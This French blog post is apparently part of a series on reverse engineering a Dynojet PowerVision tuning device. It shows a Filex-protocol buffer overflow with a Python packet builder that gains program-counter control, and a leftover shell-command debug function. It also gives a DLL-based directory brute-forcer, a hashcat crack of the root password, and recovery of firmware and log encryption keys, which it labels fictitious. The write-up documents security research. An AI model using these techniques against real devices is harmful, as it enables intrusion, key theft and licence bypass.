NOTE : Toutes les clés de chiffrement et mots de passe présentés ici sont fictifs et ont été inventés pour la rédaction de cet article.

Buffer overflow dans le protocole Filex

Dans la partie précédente, nous avions réussi à télécharger l'intégralité du firmware non chiffré depuis la connexion console. Il est maintenant temps de vous montrer ce que nous en avons fait.

TLDR

  • Buffer overflow dans un protocole propriétaire d'échange de fichiers : contrôle du Program Counter, mais difficulté à atteindre une exécution de code en raison de la validation des entrées
  • Fonction d'exécution de commandes laissée dans le code, vraisemblablement à des fins de debug
  • Découverte des clés de chiffrement du firmware, des clés de chiffrement des logs et du mot de passe root

Trouver un Buffer Overflow

Le protocole Filex est le nom du protocole propriétaire utilisé sur le port USB Link. Les outils Windows présentés dans la partie précédente utilisent la bibliothèque partagée PVLink.dll. Elle expose plusieurs fonctions, et chacune d'entre elles correspond à une séquence spécifique de messages Filex. On peut capturer ces messages Filex en utilisant USBPcap :

Capture USB avec USBPcap
Capture des messages Filex avec USBPcap

Dans la DLL PVLink.dll, on peut lister les fonctions responsables de l'envoi de ces messages :

Fonctions exportées de PVLink.dll
Fonctions exportées par PVLink.dll

Il nous fallait choisir un candidat pour l'exploration, nous avons donc commencé par nous concentrer sur la fonction PVReadFile.

PVReadFile

Voici le prototype de PVReadFile :

C
int *pvreadfile(char* filepath, char* destination_buffer, unsigned int size, int* pointer_to_mode);

Le filepath doit être une chaîne de la forme : dossier:nom_de_fichier, et l'entier mode n'a probablement rien à voir avec un mode de lecture réel (r, w) — nous avons simplement supposé qu'il était lié et l'avons codé en dur à la même valeur observée dans les captures Wireshark.

Cette fonction utilise la séquence de messages Filex suivante :

  • hello : récupérer le numéro de série du PowerVision
  • file_info : obtenir la taille du fichier cible
  • open_handle : créer un descripteur de fichier local pointant vers le fichier ciblé
  • read_handle : lire depuis le handle précédemment créé
  • close_handle : auto-explicatif

(NB : la liste complète des fonctions disponibles est ici.)

Nous avons tenté de fuzzer à la fois le dossier et le nom de fichier avec différents patterns d'attaque (traversée de répertoire, encodages...) jusqu'à observer quelque chose d'intéressant. L'appareil crashait si le paramètre nom de fichier, seconde partie du paramètre filepath, contenait plus de 171 caractères. Nous cherchions un buffer overflow, et nous en avons définitivement trouvé un.

Analyse du Buffer Overflow

Nous avions un crash, il nous fallait maintenant savoir s'il était exploitable. Heureusement, nous pouvions reverser le firmware obtenu précédemment. L'origine du SIGSEGV se trouve dans une fonction nommée CLEAN_PATH, qui, ironie du sort, avait été conçue pour restreindre l'accès non autorisé au système de fichiers et donc aider à sécuriser l'appareil.

Elle vérifie la présence des caractères \, / et .. et s'arrête si elle en rencontre. Elle compare ensuite le nom du dossier (la chaîne avant le :) contre une liste blanche de dossiers autorisés :

C
uint sanitize_path(int param_1, char *log_msg, int size, byte *param_path, int len, undefined *param_6)
{
  byte bVar1;
  char *path_colon;
  char *pcVar2;
  int iVar3;
  uint uVar4;
  uint counter;
  char filename [127];
  char parsed_path [20];
  
  *param_6 = 1;
  if (len < size) {
    counter = (uint)(0 < len);
    if (len < 1) {
LAB_0000b5d0:
      log_msg[counter] = '\0';
      path_colon = strchr(log_msg, 0x3a);
      if (path_colon == (char *)0x0) {
        bVar1 = *(byte *)(param_1 + 4);
        if (bVar1 == 0) {
          log("CLEAN_PATH: Denying access to \'%s\'\n", log_msg);
          return (uint)bVar1;
        }
        log("CLEAN_PATH: Allowing access to \'%s\'\n", log_msg);
        *param_6 = 0;
        return 1;
      }
      pcVar2 = strchr(log_msg, 0x5c);
      if ((pcVar2 != (char *)0x0) || (pcVar2 = strchr(log_msg, 0x2f), pcVar2 != (char *)0x0)) {
        log("CLEAN_PATH: Slashes not allowed\n");
        return 0;
      }
      pcVar2 = strstr(log_msg, "..");
      if (pcVar2 != (char *)0x0) {
        log("CLEAN_PATH: \'..\' not allowed\n");
        return 0;
      }

On peut observer les sauts conditionnels recherchant les caractères :

  • 0x3A : délimiteur dossier/nom de fichier
  • 0x5C, 0x2F : antislash et slash
  • 0x2E2E : répertoire parent pour les systèmes Unix

puis interrompre l'exécution si les chaînes contiennent l'un de ces caractères. Ce n'est pas une application web, donc HTML, Base64, ou tout type d'encodage sera traité comme une chaîne brute.

Ensuite, la fonction copie le nom du dossier et le nom du fichier dans des variables locales en utilisant strcpy :

C
      if (path_colon + -(int)log_msg < (char *)0x10) {
        *path_colon = '\0';
        strcpy(parsed_path, log_msg);
        strcpy(filename, path_colon + 1);

Ce if vérifie la longueur du nom de dossier, qui est censé faire moins de 16 octets, il est donc protégé. Cependant, le second strcpy ne vérifie pas la longueur du nom de fichier ! Et d'après le cadre de pile de Ghidra, il y a 127 octets pour le buffer du nom de fichier. Le buffer overflow se produit ici.

Il nous faut maintenant mettre en place le débogage pour voir si on peut exploiter cette vulnérabilité.

Émulation du firmware

Dans un premier temps, nous avons tenté de lancer un shell GDB directement sur l'appareil PowerVision. Étant donné qu'il s'agit d'un noyau en version 2.6.36, trouver un GDB précompilé statiquement qui ne retourne pas une erreur Kernel too old est quasiment impossible. Nous avons envisagé de lancer un Ubuntu ARM 2.6.36 et de compiler GDB statiquement nous-mêmes, mais cela semblait plus long. À la place, nous avons opté pour l'émulation du firmware.

Bash
squashfs-root/gui/
├── arm7
│   ├── BobcatArm7-00.01.06.dde
│   └── bootloaderBobcat-00.01.02.dde
├── BobcatApp-arm
├── bobcat.ddskin
├── Bobcat-default.config
├── filex-server-arm
├── fx
├── harley.dbx
├── PVConditions-BigTwin.pvt
├── PVConditions-Street.pvt
├── PVConditions-VRod.pvt
├── splash
│   └── title_pv.tga
└── updaters
    ├── update.PVFIRMWARE1
    ├── update.PVGUI1
    ├── update.PVSKIN1
    └── update.PVTUNEDB1

Dans la partie précédente, nous avions téléchargé le firmware via les blocs UBI en utilisant le shell de recovery. L'arborescence ci-dessus est un sous-ensemble des fichiers trouvés dans la partie lecture seule du firmware. Les deux binaires les plus importants sont filex-server-arm, qui gère principalement le protocole Filex sur le lien USB, et BobcatApp-arm qui contient toute la logique Dynojet pour les réglages moto, les licences et les logs.

Nous avons lancé l'outil Linux hardening-check sur nos binaires du firmware :

Bash
filex_patch:
 Position Independent Executable: no, normal executable!
 Stack protected: no, not found!
 Fortify Source functions: no, only unprotected functions found!
 Read-only relocations: no, not found!
 Immediate binding: no, not found!
 Stack clash protection: unknown, no -fstack-clash-protection instructions found
 Control flow integrity: no, not found!

Évidemment, sur un vieux Linux 2.6.36, c'était attendu.

Nous avons utilisé la commande suivante pour exécuter localement le binaire filex-server-arm :

Bash
$ qemu-arm -g 1234 -L squashfs-root/ filex-server-arm -V -s PHONYSERIALNUMBER

Le serveur GDB écoute sur localhost:1234, le répertoire squashfs-root/lib contient toutes les bibliothèques partagées nécessaires, et nous connaissons les arguments attendus grâce au reverse de la fonction main.

Maintenant que le binaire ARM tourne en arrière-plan, nous pouvons le déboguer avec gdb-multiarch. Le processus lira les messages Filex depuis /dev/ttyGS0, nous avons donc créé un pipe nommé :

Bash
$ mknod squashfs-root/dev/ttyGS0 p

Et pendant le débogage dans GDB, on peut envoyer nos paquets de 171+ octets précédemment forgés :

Bash
$ python filex_fuzzer.py > squashfs-root/dev/ttyGS0

Voici un code d'exploit rapide :

Python
def build_path_exploit():
    op = FilexMsg()
    data = "updates:" + "A" * 175
    op.gen(16, 1, 1, 13, len(data), data)
    chk = op.do_checksum()
    pkt = op.dump_hex().decode('hex')
    return pkt

Les 171 premiers octets servent à atteindre le registre PC, puis on peut écrire notre pointeur 32 bits dans les emplacements suivants. Le payload total fait 175 octets.

On obtient :

Buffer overflow — Contrôle du Program Counter
Contrôle du registre Program Counter

On voit clairement que nous contrôlons le registre Program Counter, ce qui signifie que nous pouvons modifier le flux d'exécution pour faire quelque chose de plus intéressant qu'un SIGSEGV.

Nous rencontrons cependant un dernier problème : il y a une vérification du charset sur ce qui entre dans le buffer filename. Si la valeur d'un caractère n'est pas comprise entre 0x20 et 0x7F, la fonction entrera dans un cas d'erreur et le buffer ne sera pas copié. C'est dommage car nous avons le candidat parfait pour un pointeur : la fonction CFILE_DO_COMMAND ! (Voir Focus sur le protocole Filex.) Le problème est que son adresse contient des valeurs hexadécimales supérieures à 0x7F, et même la pile est chargée à des adresses impossibles à écrire dans le buffer.

Difficulté d'exploitation du Buffer Overflow

Bien que le buffer overflow existe, nous n'avons pas encore identifié de moyen d'exécuter du code à partir de celui-ci. Nous sommes ouverts aux suggestions si vous avez des idées, n'hésitez pas à nous les soumettre.

Jusqu'ici, nous avons essayé :

  • Sauter vers le .text : le code commence autour de 0x9d18, donc le premier octet est déjà supérieur à 0x7F
  • Sauter vers la pile : les adresses sont autour de 0xfffe... donc même problème

Focus sur le protocole Filex

Plus tôt, nous avions mentionné le protocole Filex comme la logique sous-jacente des fonctions de PVLink.dll. Nous avions besoin d'en savoir plus. Spécifiquement, quels types d'opérations étaient disponibles. J'insiste sur cette partie, car l'expérience m'a montré que lorsqu'une API ou un service expose plusieurs types d'opérations, il n'est pas rare de trouver :

  • Des fonctions plus vulnérables que d'autres pour des « raisons historiques »
  • Des portes dérobées délibérément laissées ouvertes à des fins de debug/maintenance

Nous étions maintenant à la recherche de l'une d'entre elles. Continuons donc avec le reverse engineering du protocole !

Structure des paquets Filex

Un paquet simple ressemble à ceci :

Vue hexadécimale d'un paquet Filex
Vue brute hexadécimale d'un paquet Filex

On remarque les délimiteurs (0xF0) et une sorte d'en-têtes en little-endian.

Message Filex file_info
Structure du message Filex file_info

Ici, dans un autre exemple, on peut voir une fonction différente. Celle-ci est systématiquement appelée avant toute lecture, car elle retourne la taille du fichier, utilisée ensuite par la fonction de lecture.

Après quelques captures Wireshark, nous avons commencé à comprendre la structure des messages binaires. Voici le parsing du message DELETE-FILE :

Champs du message DELETE-FILE
Champs parsés d'un message Filex DELETE-FILE

En passant quelques détails ennuyeux, voici la structure Kaitai complète :

YAML
seq:
  - id: start_byte
    size: 1
    contents: [0xf0]
  - id: type
    type: s4
    enum: type_value
  - id: param1
    type: s4
  - id: param2
    type: s4
  - id: datalen
    type: s4
  - id: seq
    type: s4
  - id: data
    size: datalen
    type: strz
    encoding: ASCII
  - id: checksum
    type: u1
  - id: end_byte
    size: 1
    contents: [0xf0]

La structure Kaitai est assez simple, il n'y a pas de données imbriquées :

  • Délimiteurs : 0xF0 (début et fin)
  • En-têtes : 5 entiers (32 bits) en Little Endian pour les types de fonctions, paramètres, longueur des données et un numéro de séquence
  • Données
  • Checksum : 1 octet

La seule chose dont nous avons besoin pour forger des paquets est l'algorithme de génération de checksums valides, sinon ils seront rejetés par le filex-server. Nous n'avons pas besoin du firmware pour cela, car PVLink.dll est elle-même capable de forger des paquets corrects.

Algorithme de checksum
Algorithme de checksum reverse-engineeré depuis PVLink.dll

L'algorithme est assez simple :

  • Une boucle parcourt tous les octets du paquet jusqu'à l'offset du checksum et les additionne dans un registre d'un octet
  • XOR avec 0xFF
  • Si la valeur du checksum est 0xF0, il y a conflit avec le délimiteur de fin de paquet, et le checksum est remplacé par 0xDB 0xDC

Passons à la forge de paquets !

Nous pouvons maintenant itérer sur toutes les valeurs d'index de fonction possibles, et lorsque nous atteignons l'index 0x16, nous recevons un résultat très intéressant du PowerVision :

Invalid cmd string

Bonne nouvelle pour nous. Il est assez courant de voir des fonctionnalités développeur laissées dans des produits comme celui-ci. Souvent, les développeurs ont besoin d'un accès rapide au shell à des fins de débogage. Mais après de nombreuses tentatives, je n'ai pas réussi à exécuter la moindre commande. Quelque chose n'allait pas. Des mois plus tard, lorsque j'ai mis la main sur le firmware, j'ai pu reverser la fonction censée exécuter la commande shell :

C
size_t __fastcall shell_cmd(int a1, int a2, const char *a3)
{
  if ( data_len < 1024 )
  {
    if ( data_len <= 0 )
    {
      v11 = *(_DWORD *)(v3 + 4);
      v12 = *(_DWORD *)(v3 + 8);
      *(_BYTE *)v6 = 0;
      result = log("TODO: shellcmd %d %u %s\n", v11, v12, &v14);
      *((_DWORD *)v5 + 1) = 0;
      return result;
     }
...

Comment ça, TODO ???

Il semble que la fonction soit en réalité implémentée, car on peut voir un appel à system sans aucune référence croisée :

Références croisées de system()
L'appel à system() existe dans le binaire mais n'a aucune référence croisée

Mon hypothèse est qu'ils n'ont jamais changé le message de log contenant le TODO, mais que CFILE_DO_COMMAND existe bien dans le code. Ils ont probablement simplement retiré son appel de la version de production.

Une fois le firmware obtenu (voir Partie 1), nous avons pu avoir une bien meilleure vision des messages Filex disponibles :

YAML
enums:
  type_value:
    1: hello
    4: getinfo
    5: open_handle
    6: close_handle
    7: delete_file
    8: mkdir
    10: read_file
    11: write_file
    12: flush_handle
    13: open_dir
    14: read_dir
    15: close_dir
    16: file_info
    17: shell_cmd
    18: shutdown
    2: getseed
    3: sendkey
    9: filesync

Nous avions atteint notre objectif : cartographier tous les messages Filex possibles !

Brute force des répertoires

Nous avons tenté de cartographier le système de fichiers en utilisant les fonctions directement disponibles dans la DLL. (Il s'agit d'une approche boîte noire que nous avons dû utiliser avant de pouvoir obtenir le firmware.)

L'avantage des DLL, c'est qu'elles exportent les symboles même si elles sont strippées.

Nous avons utilisé la fonction PVReadDir pour parcourir les répertoires disponibles :

C
int *pvreaddir(char* filepath, char* destination_buffer, int mode, int* integer_parameter);

Le prototype est très similaire à celui de PVReadFile utilisé plus tôt. Cependant, il est un peu plus difficile de lire son résultat car il faut reverse-engineerer la structure retournée. Voici le code qui énumère les répertoires en utilisant un dictionnaire et PVReadDir :

C
#include <stdlib.h>
#include <strings.h>
#include <stdio.h>
#include <windows.h>
#include <tchar.h>
#include <dirent.h>

typedef int (*pvreadfile)(char*, char*, unsigned int, int*);
typedef int (*pvreaddir)(char*, char*, int, int*);
typedef int (*pvgetsize)(char*, int*);

char *type(int t) {
  switch(t) {
    case 4:  return "FOLDER: ";
    case 8:  return "FILE: ";
    default: return "UNK: ";
  }
}

void read_dir(char *file) {
  HMODULE hModule = LoadLibrary("PVLink.dll");
  pvreaddir readdir = (pvreaddir) GetProcAddress(hModule, "PVReadDir");
  char *dest = malloc(2048 * sizeof(char));
  int mode = 0x400;
  int parm = 0;
  int res = readdir(file, dest, mode, &parm);
  for (int i = 0; i <= parm; i++) {
    printf("%s%s\n", type(*dest), dest + 4);
    dest += 132;
  }
  free(dest);
}

void brute_dir() {
  HMODULE hModule = LoadLibrary("PVLink.dll");
  pvreaddir readdir = (pvreaddir) GetProcAddress(hModule, "PVReadDir");
  char *dest = malloc(2048 * sizeof(char));
  int mode = 0x400;
  int parm = 0;
  FILE* dlist = fopen("directory_list.txt", "r");
  char line[256];
  
  while (fgets(line, sizeof(line), dlist)) {
    strtok(line, "\n");
    strcat(line, ":");
    int res = readdir(line, dest, mode, &parm);
    if (res != 1009) {
      printf("Read status=%d\nDirname=%s\n", res, line);
    }
  }
  free(dest);
  fclose(dlist);
}

int main(int argc, char **argv) {
  read_dir("params:soap_resp");
  brute_dir();
  return 0;
}

Rien d'exotique ici, nous avons simplement :

  • Chargé le fichier DLL avec la fonction LoadLibrary
  • Localisé la fonction à exécuter avec le nom de la fonction et GetProcAddress
  • Configuré les paramètres pour être approximativement les mêmes que ceux observés dans les captures USBPcap (sauf ceux que nous voulions contrôler)
  • Exécuté l'appel
  • Parsé la structure retournée

On peut faire la même chose plus simplement en Python :

Python
from ctypes import *

def read_dir(path):
    pvlink = CDLL("./PVLink.dll")
    readdir = pvlink.PVReadDir
    nbfolders = c_int(0)
    mode = 0x400
    res = readdir(path, byref(dest), mode, byref(nbfolders))
    return res

Ce fuzzing/bruteforcing nous a donné des informations intéressantes. Nous avons découvert les répertoires suivants :

  • updates : redirige en réalité vers la racine des dossiers accessibles
  • params : seulement deux fichiers — soap_req et soap_resp — utilisés pour interroger une API SOAP via le port USB Link
  • stock_bins : contient les fichiers de réglage
  • logs : vous pouvez deviner ce qu'il y a dedans

Le plus intéressant ici serait le dossier updates, car il contient quelque chose que nous cherchions avec impatience : le dossier des licences. Le problème est qu'avec le protocole Filex, il est impossible de lire dans des sous-dossiers imbriqués, et les fichiers que nous voulons ne peuvent être lus qu'avec le pattern : updates:licenses:license_file.txt. Cependant, dans la prochaine partie, nous montrons comment nous avons obtenu un bon moyen de lire où nous le souhaitons.

Looting

Mot de passe root

Puisque nous pouvons récupérer le fichier /etc/shadow, nous avons lancé hashcat pour obtenir le mot de passe root de l'appareil :

Bash
$ hashcat -a 3 -m 500 squashfs-root/etc/shadow ?l?l?l?l?l?l
hashcat (v6.1.1) starting...

Hashes: 1 digests; 1 unique digests, 1 unique salts

$1$SALT$HASH:PASS

Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Time.Started.....: Tue Jan 19 10:53:35 2021 (6 secs)
Time.Estimated...: Tue Jan 19 10:53:41 2021 (0 secs)
Guess.Mask.......: ?l?l?l?l [4]
Speed.#1.........:    34393 H/s (5.26ms)
Recovered........: 1/1 (100.00%) Digests

Après avoir essayé l'intégralité de rockyou.txt sans succès, nous avons tenté différentes attaques par masque, et obtenu un résultat très intéressant : nous avons trouvé un mot de passe correspondant composé de seulement quelques lettres minuscules. Vu la quantité de protections en place, nous avons été plutôt surpris de trouver un mot de passe root correspondant aussi facilement. Peut-être une collision MD5 ?

Quoi qu'il en soit, grâce à cela, nous n'avons plus besoin de passer par tout le processus U-Boot/Recovery pour obtenir un shell. Nous pouvons désormais nous connecter directement via le port UART Debug interne :

Bash
ROMBoot
Welcome to bobcat
bobcat login: root
password:
# id
uid=0(root) gid=0(root)
# hellyeah

Clés de chiffrement

Après avoir obtenu le shell root, nous voulions trouver notre Saint Graal : le mot de passe de chiffrement du PVU_FILE. En cherchant les appels OpenSSL dans le squashfs-root, nous avons trouvé la fonction suivante dans le binaire Bobcat-app-arm :

C
  memcpy(file, "/tmp/PVU_FILE", 0xe);
  memcpy(password, &firm_key, 0x20);
  local_1a0 = 0;
  sprintf(cmd_buffer,
    "unzip -p \'%s\' PVU_FILE | openssl enc -d -aes-256-cbc -salt -out %s -pass pass:",
    archive_name, file);
  strcat(cmd_buffer, password);
  system(cmd_buffer, 0);
  cfile_sync();
  iVar3 = check_firmware_file(file);
  if (iVar3 == 0) {
    memcpy(err_file, "Missing package contents", 0x19);
    return 0;
  }

Notre mot de passe est une clé AES-256-CBC de 32 octets. Mais en lisant le code ci-dessus, nous avons réalisé que le mot de passe pourrait provenir de l'un des fichiers .dbx.

Bash
$ binwalk -E harley.dbx
Analyse d'entropie du fichier DBX
Analyse d'entropie du fichier .dbx — clairement chiffré

Ces fichiers ont clairement l'air chiffrés. Mais au lieu de jouer au chat et à la souris avec les clés crypto, cette fois nous avons eu de la chance. La partie ubifs du firmware (lecture/écriture) contient des fichiers de log :

Log
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_DELETE: Deleting '/tmp/PVU_TYPE'
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_DELETE: Deleting '/tmp/PVU_CERT'
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_DELETE: Deleting '/tmp/PVU_FILE'
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_SYNC: Performing sync...
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_SYNC: Sync done.
Dec 31 17:12:34 bobcat user.info BobcatApp: CFILE_DO_COMMAND: unzip -p
  '/flash/storage/PV_TUNEDB-0.0.10.09.pvu' PVU_FILE |
  openssl enc -d -aes-256-cbc -salt -out /tmp/PVU_FILE
  -pass pass:F6678H9Z9U8A7DHZDYCCUXH9SH2
Dec 31 17:13:15 bobcat user.info BobcatApp: CFILE_DO_COMMAND: Returned 0

Magnifique ! Nous avons trouvé le Saint Graal.

Je me suis demandé quel était l'intérêt de passer par autant de couches d'obfuscation pour finalement laisser les clés de chiffrement en clair dans les fichiers de log...

Eh bien, ces fichiers de log sont censés être chiffrés :

C
void encrypt_logs(undefined4 param_1)
{
  size_t sVar1;
  uint uVar2;
  char acStack1040 [1028];
  
  sprintf(acStack1040,
    "logread | openssl enc -aes-256-cbc -a -salt -out %s", param_1);
  sVar1 = strlen(acStack1040);
  acStack1040[sVar1 + 7] = 'p';
  acStack1040[sVar1 + 8] = acStack1040[sVar1 + 7] + -0xdf;
  acStack1040[sVar1 + 0xd] = acStack1040[sVar1 + 8] + '\xaa';
  acStack1040[sVar1 + 0x10] = acStack1040[sVar1 + 7] + -0x7c;
  // ... plus d'obfuscation ...
  log("Executing system command: %s\n", acStack1040);
  system(acStack1040);
  sync();
  return;
}

La fonction génère un mot de passe avec diverses additions, soustractions et permutations. Trouver le mot de passe ici est juste une question de minutes, tout comme le serait le déchiffrement des fichiers de log. L'obfuscation est assez faible. Mais ce n'est pas le meilleur. Les fichiers de log originaux ne sont pas supprimés après avoir été chiffrés. Ce qui est probablement la raison pour laquelle on peut trouver les clés de chiffrement des mises à jour firmware en clair.

Conclusion

Nous avons pris beaucoup de plaisir à faire tout cela, mais nous aimerions explorer encore quelques points mystérieux avant d'en rester là :

  • Bases de données chiffrées : comment les déchiffrer
  • Forger des firmwares et les écrire : soit en écrivant directement sur les périphériques UBI/MTD, soit en forgeant des mises à jour et en contournant le contrôle d'intégrité
  • Contournement de licence : déverrouillage VIN en patchant le firmware ou en remplaçant les clés de signature de licence

C'était un long article, merci d'être restés jusqu'à la fin et restez classe, amateurs de cybersécurité !

Références

Annexe — Kaitai Struct pour les messages Filex

Python
from pkg_resources import parse_version
import kaitaistruct
from kaitaistruct import KaitaiStruct, KaitaiStream, BytesIO
from enum import Enum
import struct

M8 = 0xff
M32 = 0xffffffff

def m32(n):
    return n & M32

def madd(a, b):
    return m32(a + b)

def int322le(val):
    return struct.pack('<I', val)


class FilexMsg(KaitaiStruct):

    class TypeValue(Enum):
        hello = 1
        getseed = 2
        sendkey = 3
        getinfo = 4
        open_handle = 5
        close_handle = 6
        delete_file = 7
        mkdir = 8
        filesync = 9
        read_file = 10
        write_file = 11
        flush_handle = 12
        open_dir = 13
        read_dir = 14
        close_dir = 15
        file_info = 16
        shell_cmd = 17
        shutdown = 18

    def __init__(self, _parent=None, _root=None):
        self._parent = _parent
        self._root = _root if _root else self

    def gen(self, type_int, param1, param2, seqnum, length, data):
        self.start_byte = b"\xF0"
        self.type = type_int
        self.param1 = param1
        self.param2 = param2
        self.datalen = length
        self.seq = seqnum
        self.data = data
        self.checksum = 0
        self.end_byte = b"\xF0"

    def do_checksum(self):
        a = self.dump_hex().decode('hex')[1:-2]
        chk = 0
        for e in a:
            chk += int("0x" + e.encode('hex'), 16)
            chk = chk & M8
        res = (chk ^ 0xFF) & M8
        res = madd(res, 1) & M8
        if res == 0xF0:
            return 0xD0B0
        self.checksum = res
        return res & M8

PowerVision Partie 2 — Restez classe, amateurs de cybersécurité !

Lire la Partie 3 →


← Retour aux articles

Besoin d'un audit de sécurité ou d'un accompagnement sur mesure ?

Découvrir nos services →